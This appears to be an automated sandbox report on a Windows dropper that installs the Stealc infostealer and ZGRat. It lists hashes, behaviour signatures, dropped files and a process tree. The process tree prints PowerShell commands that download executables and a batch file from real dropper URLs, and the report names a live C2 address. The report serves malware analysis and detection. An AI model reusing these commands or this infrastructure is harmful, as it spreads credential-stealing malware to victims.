Analysis

  • max time kernel
    298s
  • max time network
    299s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    09-05-2024 22:50

General

  • Target

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe

  • Size

    49KB

  • MD5

    213c0265511727869c959abd24ea3677

  • SHA1

    22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9

  • SHA256

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7

  • SHA512

    bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
    "C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsu781F.tmp\est.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:596
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1236
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:984
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:424
        • C:\Users\Admin\AppData\Local\Temp\ubs.0.exe
          "C:\Users\Admin\AppData\Local\Temp\ubs.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2636
        • C:\Users\Admin\AppData\Local\Temp\ubs.1.exe
          "C:\Users\Admin\AppData\Local\Temp\ubs.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:5052
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3460
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4616

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Are.docx

    Filesize

    11KB

    MD5

    a33e5b189842c5867f46566bdbf7a095

    SHA1

    e1c06359f6a76da90d19e8fd95e79c832edb3196

    SHA256

    5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

    SHA512

    f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

  • C:\ProgramData\mozglue.dll

    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    66382a4ca6c4dcf75ce41417d44be93e

    SHA1

    8132cbef1c12f8a89a68a6153ade4286bf130812

    SHA256

    a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

    SHA512

    2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    2c884245e61fb18521e35101b548cf6d

    SHA1

    db0f122dc454660385341f2e40eb019c65d24809

    SHA256

    5f19c282a99b2b4fbfed572ada786ba4e6679a986ba1e088d581faaf6e3d2c0e

    SHA512

    0e4d1e76e29068fa9789149c90c03d2463190892fcaaff5e155ee8815161f45f6f7800ecef24ebc77d1de0861f6bcf19306be5f2bb09b8be2d9c813db76d62c8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    364ea0d01417152aa82ea7d8b52697f0

    SHA1

    962dc635844b598f895cf4ab7edee1d3e5cb4fd6

    SHA256

    dd1e007e13ba90a7ece8846e4b2386f2d9d1c7c2fb5d3892b33c3c45de8a2ee5

    SHA512

    1a3dfbd007d29f20f67bbedb0d387bcdc7014e6a189545af7ef791652f4a9a88e89d37f6cedf9c5919ab131dc5376a15c7273916d00efeb3e23c7d5cc3768399

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mosuqqto.cvh.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\i1.exe

    Filesize

    384KB

    MD5

    0f39626443b9a5ecbdac24c96e12728a

    SHA1

    04c402e550534f0871471f5b80fc5723f283f25c

    SHA256

    fab860ca07692e3f3f2c438a9faf142288fdbcbb43edf24e8b3b88683a529477

    SHA512

    9b74eea35b9ed7ea5e286ec29a676407f72a63c3d90c22616d73d0626a0cf656d9e1aaafd8c07021c38c8bf9cc75cd1a6b6ca4f7198f07c8794aad1d4bf618e6

  • C:\Users\Admin\AppData\Local\Temp\nsu781F.tmp\est.bat

    Filesize

    735B

    MD5

    f32d05160acf8325e9a09f09f80d16f4

    SHA1

    46e159b71e6ef99076c4002e1fda134e1d0a86c9

    SHA256

    da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37

    SHA512

    147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b

  • C:\Users\Admin\AppData\Local\Temp\ubs.0.exe

    Filesize

    206KB

    MD5

    0917be53327ea132956255dcab650a82

    SHA1

    b60818917f645a8a9af3b530e3ae37c1f002be2f

    SHA256

    211c34660898480e0777c6ef6f61bf2111f6550e00b40cab859543d567dc455a

    SHA512

    a72acc24ba813d983bbf2ecab7929d0aab4e25637ae43e85b973a5105429bd15c061415fd855737620caaf81b456b2d6ba57f85566245efbe5f8b5db5560932a

  • C:\Users\Admin\AppData\Local\Temp\ubs.1.exe

    Filesize

    4.6MB

    MD5

    397926927bca55be4a77839b1c44de6e

    SHA1

    e10f3434ef3021c399dbba047832f02b3c898dbd

    SHA256

    4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

    SHA512

    cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

  • \ProgramData\nss3.dll

    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

  • \Users\Admin\AppData\Local\Temp\nsu781F.tmp\INetC.dll

    Filesize

    25KB

    MD5

    40d7eca32b2f4d29db98715dd45bfac5

    SHA1

    124df3f617f562e46095776454e1c0c7bb791cc7

    SHA256

    85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

    SHA512

    5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

  • memory/424-120-0x0000000000400000-0x0000000002B1E000-memory.dmp

    Filesize

    39.1MB

  • memory/424-115-0x0000000000400000-0x0000000002B1E000-memory.dmp

    Filesize

    39.1MB

  • memory/1236-47-0x00000000091E0000-0x00000000091FA000-memory.dmp

    Filesize

    104KB

  • memory/1236-26-0x00000000073B0000-0x0000000007416000-memory.dmp

    Filesize

    408KB

  • memory/1236-46-0x0000000009AF0000-0x000000000A168000-memory.dmp

    Filesize

    6.5MB

  • memory/1236-48-0x0000000072E70000-0x000000007355E000-memory.dmp

    Filesize

    6.9MB

  • memory/1236-52-0x0000000072E70000-0x000000007355E000-memory.dmp

    Filesize

    6.9MB

  • memory/1236-30-0x00000000080F0000-0x000000000813B000-memory.dmp

    Filesize

    300KB

  • memory/1236-29-0x0000000007AE0000-0x0000000007AFC000-memory.dmp

    Filesize

    112KB

  • memory/1236-28-0x0000000007CA0000-0x0000000007FF0000-memory.dmp

    Filesize

    3.3MB

  • memory/1236-21-0x0000000006C10000-0x0000000006C46000-memory.dmp

    Filesize

    216KB

  • memory/1236-31-0x00000000083C0000-0x0000000008436000-memory.dmp

    Filesize

    472KB

  • memory/1236-18-0x0000000072E7E000-0x0000000072E7F000-memory.dmp

    Filesize

    4KB

  • memory/1236-27-0x0000000007C30000-0x0000000007C96000-memory.dmp

    Filesize

    408KB

  • memory/1236-25-0x0000000007310000-0x0000000007332000-memory.dmp

    Filesize

    136KB

  • memory/1236-24-0x0000000072E70000-0x000000007355E000-memory.dmp

    Filesize

    6.9MB

  • memory/1236-22-0x0000000007420000-0x0000000007A48000-memory.dmp

    Filesize

    6.2MB

  • memory/1236-23-0x0000000072E70000-0x000000007355E000-memory.dmp

    Filesize

    6.9MB

  • memory/2636-129-0x0000000061E00000-0x0000000061EF3000-memory.dmp

    Filesize

    972KB

  • memory/2636-256-0x0000000000400000-0x0000000002AF1000-memory.dmp

    Filesize

    38.9MB

  • memory/2636-199-0x0000000000400000-0x0000000002AF1000-memory.dmp

    Filesize

    38.9MB

  • memory/2636-250-0x0000000000400000-0x0000000002AF1000-memory.dmp

    Filesize

    38.9MB

  • memory/3460-213-0x0000021C33400000-0x0000021C3350A000-memory.dmp

    Filesize

    1.0MB

  • memory/3460-230-0x0000021C392C0000-0x0000021C392F8000-memory.dmp

    Filesize

    224KB

  • memory/3460-214-0x0000021C18F30000-0x0000021C18F40000-memory.dmp

    Filesize

    64KB

  • memory/3460-212-0x0000021C15320000-0x0000021C18B54000-memory.dmp

    Filesize

    56.2MB

  • memory/3460-217-0x0000021C331C0000-0x0000021C331E4000-memory.dmp

    Filesize

    144KB

  • memory/3460-216-0x0000021C1A770000-0x0000021C1A784000-memory.dmp

    Filesize

    80KB

  • memory/3460-220-0x0000021C33340000-0x0000021C333F2000-memory.dmp

    Filesize

    712KB

  • memory/3460-221-0x0000021C337A0000-0x0000021C337F0000-memory.dmp

    Filesize

    320KB

  • memory/3460-222-0x0000021C337F0000-0x0000021C33812000-memory.dmp

    Filesize

    136KB

  • memory/3460-219-0x0000021C331F0000-0x0000021C3321A000-memory.dmp

    Filesize

    168KB

  • memory/3460-218-0x0000021C1A870000-0x0000021C1A87A000-memory.dmp

    Filesize

    40KB

  • memory/3460-223-0x0000021C1A880000-0x0000021C1A88A000-memory.dmp

    Filesize

    40KB

  • memory/3460-227-0x0000021C34160000-0x0000021C34460000-memory.dmp

    Filesize

    3.0MB

  • memory/3460-215-0x0000021C1A790000-0x0000021C1A79C000-memory.dmp

    Filesize

    48KB

  • memory/3460-231-0x0000021C38490000-0x0000021C38498000-memory.dmp

    Filesize

    32KB

  • memory/3460-229-0x0000021C38430000-0x0000021C38438000-memory.dmp

    Filesize

    32KB

  • memory/3460-234-0x0000021C39640000-0x0000021C39662000-memory.dmp

    Filesize

    136KB

  • memory/3460-233-0x0000021C395E0000-0x0000021C39642000-memory.dmp

    Filesize

    392KB

  • memory/3460-232-0x0000021C395C0000-0x0000021C395CA000-memory.dmp

    Filesize

    40KB

  • memory/3460-235-0x0000021C39B90000-0x0000021C3A0B6000-memory.dmp

    Filesize

    5.1MB

  • memory/3460-238-0x0000021C395D0000-0x0000021C395DC000-memory.dmp

    Filesize

    48KB

  • memory/3460-239-0x0000021C39720000-0x0000021C39796000-memory.dmp

    Filesize

    472KB

  • memory/3460-240-0x0000021C39680000-0x0000021C3969E000-memory.dmp

    Filesize

    120KB

  • memory/3460-257-0x0000021C34460000-0x0000021C345E9000-memory.dmp

    Filesize

    1.5MB

  • memory/4616-82-0x00000000082C0000-0x000000000830B000-memory.dmp

    Filesize

    300KB

  • memory/4616-81-0x0000000007DB0000-0x0000000008100000-memory.dmp

    Filesize

    3.3MB

  • memory/5052-211-0x0000000000400000-0x00000000008AD000-memory.dmp

    Filesize

    4.7MB